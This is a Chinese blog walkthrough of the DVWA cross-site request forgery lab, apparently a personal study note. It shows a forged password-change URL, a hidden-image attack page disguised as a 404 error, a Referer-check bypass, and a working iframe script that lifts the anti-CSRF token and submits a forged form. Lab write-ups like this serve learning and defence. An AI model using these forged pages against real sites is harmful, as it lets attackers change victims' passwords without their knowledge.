zoukankan      html  css  js  c++  java
  • CSRF(跨站请求伪造)

    CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。
    CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。
    Low
    可以看到,服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现= =)。
    抓包得到,URL:
    方法一:http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
    当用户A在访问该网站时,只要用户A点击黑客B精心构造的这个URL时就能造成CSRF攻击
    不能跨浏览器,例如之前用的火狐,现在不能用Chrome浏览器,因为chrome不会利用火狐的cookie。
    当然,这个URL过于明显,稍微有一点知识的人都能看出来这是一个改密码的链接,所以说我们就应该想一下隐藏的放法,
    方法二:短链接来隐藏URL(点击短链接,会自动跳转到真实网站)
    需要提醒的是,虽然利用了短链接隐藏url,但受害者最终还是会看到密码修改成功的页面,所以这种攻击方法也并不高明。
    方法三:构造攻击页面(html文档)
    现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。
    文档如下:
    <img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0"style="display:none;"/>
    <h1>404<h1>
    <h2>file not found.<h2>
    其中style="display:none;"是不让这个元素显示出来
    当受害者访问test.html时,会误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了hack。
     
    Medium
    int eregi(string pattern, string string)
    检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。
    可以看到,Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.0.104),希望通过这种机制抵御CSRF攻击。
    漏洞利用
    过滤规则是http包头的Referer参数的值中必须包含主机名(这里是192.168.0.104)
    我们可以将攻击页面命名为192.168.0.104.html(页面被放置在攻击者的服务器里,这里是10.4.253.2)就可以绕过了
    Referer参数完美绕过过滤规则
    High
    High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
    漏洞利用
    要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。
    试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。
    <script type="text/javascript">
    function attack()
    {
    document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
    document.getElementById("transfer").submit();
    }
    </script>
     
    <iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
    </iframe>
     
    <body onload="attack()">
    <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">
    <input type="hidden" name="password_new" value="password">
    <input type="hidden" name="password_conf" value="password">
    <input type="hidden" name="user_token" value="">
    <input type="hidden" name="Change" value="Change">
    </form>
    </body>
     
    Impossible
    可以看到,Impossible级别的代码利用PDO技术防御SQL注入,至于防护CSRF,则要求用户输入原始密码(简单粗暴),攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。

    本文仅是个人学习记录,部分摘自FreeBuf.Com等。

  • 相关阅读:
    octotree神器 For Github and GitLab 火狐插件
    实用篇如何使用github(本地、远程)满足基本需求
    PPA(Personal Package Archives)简介、兴起、使用
    Sourse Insight使用过程中的常使用功能简介
    Sourse Insight使用教程及常见的问题解决办法
    github 遇到Permanently added the RSA host key for IP address '192.30.252.128' to the list of known hosts问题解决
    二叉查找树的C语言实现(一)
    初识内核链表
    container_of 和 offsetof 宏详解
    用双向链表实现一个栈
  • 原文地址:https://www.cnblogs.com/zjwoo/p/12763381.html
Copyright © 2011-2022 走看看